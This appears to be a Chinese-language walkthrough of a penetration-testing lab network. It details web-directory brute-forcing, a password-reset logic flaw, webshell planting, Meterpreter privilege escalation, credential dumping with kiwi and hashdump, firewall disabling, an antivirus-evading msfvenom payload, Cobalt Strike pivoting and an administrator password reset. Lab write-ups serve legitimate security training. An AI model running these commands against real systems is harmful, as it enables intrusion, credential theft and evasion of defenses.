暗月内网靶场渗透笔记
简介
靶场下载地址：
靶场地址： https://pan.baidu.com/share/init?surl=2pSYxSU-ZmurQ9--GFiaXQ
提取码: 3p47
虚拟机网络设置：
靶场拓扑图：
靶机账号密码：
信息收集
内网扫描
靶机就在本地，直接进行本地内网扫描即可，扫描当前网段：
nmap -sP 192.168.0.0/24
只有这一台机子是IP未知的，其他设备都是自己的，故判断为目标靶机
端口扫描
因暗月靶机上都有360和各种安全软件，所以扫描速率不能太快，先使用masscan扫描到开放的端口，再用nmap获取端口的详细信息
masscan -p 1-65535 192.168.0.114 --rate=100
rate：设置为每秒发100个请求包
一共开放了6个端口，现在使用nmap去获取端口的详细信息
nmap -sV -p 3389,5985,6588,999,21,80 192.168.0.114
sV：扫描端口服务版本
p：扫描指定的端口
现在去web页面上看看有没有突破点，首先本地DNS解析一下域名
echo "192.168.0.114 www.moonlab.com" >> /etc/hosts
然后访问这个域名
什么也没有，只能fuzz目录了
FUZZ
需要注意的是，靶机上开启了防火墙和安全软件，网站上也有waf，无论你访问哪个目录都返回200
如果都返回200，就不能用工具扫了，我们自己写一个简单的python脚本去爆破目录
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time
with open ('dicc.txt','r',encoding='UTF-8') as readfile: #扫描目录所用的字典
for dirs in readfile.readlines(): #一个for循环，将字典参数导入到dirs变量里
url = 'http://www.moonlab.com/'+dirs.strip('\n') #扫描的目录
resp = requests.get(url) #访问url变量里的值，并将得到的结果导入到resp变量里
strlen = len(resp.text) #获取文本大小，并将大小导入到strlen变量里
print(url+' statu: '+str(resp.status_code)+' lens: '+str(strlen)) #输出扫描的结果
time.sleep(2) #sleep两秒
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301: #if判断，如果请求等于条件，判断为真，继续执行下面的代码
if str(strlen) != "2939": #如果文本大小不等于2939，就为真，继续执行下面的代码
with open('url.txt','a',encoding='UTF-8') as writefile: #创建一个名为url.txt的文件
writefile.write(url+' statu: '+str(resp.status_code)+' lens: '+str(strlen)+'\n') #写入内容
执行这个脚本去fuzz目录
python3 urlscan.py
其他目录大小都是2939，只有这个目录不一样，我们直接去访问这个目录看看
robots.txt 文件规定了搜索引擎抓取的网站上网址
拿到shell
这里给出了三个目录，第一个是一个登录页面
遇到登录页面的渗透测试思路为
sql注入
暴力破解
csrf
js泄露
逻辑漏洞
这个网站后台存在的漏洞为逻辑漏洞，在登录框下面有一个忘记密码，我们输入admin
随便输入一个答案
回到burp，点击http历史，找到输入答案的包
点击这个包，ctrl+r
我们把answer参数改为空，然后再发送看看会发生什么
直接出现了密码，说明网站的验证逻辑有问题，我们用这个账号密码进入后台
进入后台后，最常见的拿shell方式就是文件上传了，我们需要找到一个能上传文件的页面
在模板管理这可以修改网站文件，我们随便点击一个
将冰蝎自带的aspx一句话木马写进去
然后保存，访问文件
打开冰蝎连接
连接成功
搜集主机信息
获取当前用户全部信息
whoami /all
我们只是一个普通用户，但是有这三个特权
获取全部网络信息
ipconfig /all
这里看到他还有一个内网ip
获取主机详细信息
systeminfo
查看开放端口
netstat -ano
查看开启的服务
net start
不仅有安全狗，自带的防火墙也开启了
查看后台进程
tasklist
反向代理
转移shell
我们先将shell转移到msf里，方便利用
msf进入监听后，回到冰写，进入反弹shell页面，设置ip和端口，ip是kali的ip，端口是msf设置的端口
成功将shell转移到msf里
设置代理
添加网段
查看全局网段
run get_local_subnets
10.10.1.0/24是他们的内网，我们添加这个网段即可
run autoroute -s 10.10.1.0/24
查看添加的网段
run autoroute -p
然后输入bg返回msf，使用auxiliary/server/socks_proxy代理模块
bg
use auxiliary/server/socks_proxy
设置代理的端口，然后运行
set SRVPORT 1234
run
然后新开一个终端，编辑这个文件，拉到最下面，输入msf设置的端口
vim /etc/proxychains4.conf
保存后退出，然后看看配置成功没
proxychains4 curl 10.10.1.130
成功访问
拿下windows server 2016-web
提权
回到msf里，进入会话
sessions -i 1
然后尝试用meterperter的默认提权exp去提权
getsystem
迁移进程
成功提权到最高权限，通过之前nmap扫描的结果，它已经开启了3389端口，我们导出密码即可，但首先需要迁移进程到一个稳定运行的程序里，这样才能正常导出密码
ps #查看后台进程
随便导入到一个稳定的进程里
migrate 3344
查看shell pid号
getpid
成功迁移了
获取密码
msf导入kiwi
load kiwi
提取密码
creds_all
成功获取密码，之后用远程桌面连接即可
内网信息收集
查看路由表
arp -a
我们拿下的这台主机内网ip是10.10.1.131，这个10.10.1.130是未知的，估计是内网的另一台主机
由于内网另一台机子开启了防护软件，无法ping通和扫描，我们直接访问80端口去测试
浏览器设置代理
访问10.10.1.130
拿下Windows server 2012-oa
这是一个通达的后台OA，Google搜索相关的漏洞和poc即可
https://pan.baidu.com/s/14aKGmg_jmyAJHzHjgYJQHQ
提取码：hx1y
进入文件夹后运行这个命令
proxychains4 java -jar 通达OA综合利用工具_圈子社区专版.jar
启动哥斯拉连接这个url
https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla
连接成功
NetSh Advfirewall set allprofiles state off
关闭windows防火墙
拿下最终主机
转移shell
由于目标不出网，我们只能生成一个正向shell木马来将shell转移到msf里
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -e x86/shikata_ga_nai -i 20 -f c -o 123.txt
使用这个工具进行一个简单的免杀
https://github.com/1y0n/AV_Evasion_Tool/releases/tag/2.0
打开这个工具，将msfveno生成的123.txt文件里的内容粘贴上去
回到哥斯拉，找一个文件夹上传木马
回到msf，设置监听模块
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130
set lport 4444
options
run
终端执行这个木马
成功连接
迁移进程
首先需要迁移进程到一个稳定运行的程序里，这样才能正常导出密码
ps #查看后台进程
随便导入到一个稳定的进程里
migrate 3756
查看shell pid号
getpid
迁移成功
转移shell到cs
打开cs，没有的话直接私聊我就好了
监听器设置
生成木马
回到msf，上传木马
upload /beacon.exe
进入shell，执行木马
这个会话是第一台机子windows server 2016-web，上传个木马然后执行就能获得会话
回到cs，连接这个木马
connect 10.10.1.130 7777
成功获得会话
右击会话，点击文件浏览
可以看到还有一个域用户
查看当前主机域名
net domain
查看域控登录的主机信息
net computers
10.10.1.130是当前主机，而10.10.10.165是最终flag所在的主机
获取域用户密码
hashdump
logonpasswords
查看密码凭证
爆破这个域用户密码
https://www.somd5.com/
回到msf，进入shell修改密码
net user Administrator Ba1_Ma0123456
开启10.10.1.130主机的3389端口
run post/windows/manage/enable_rdp
用第一台我们拿下的主机去连接
在这个主机上也使用远程桌面连接
输入域名\用户名和爆破出的密码
成功登录
flag
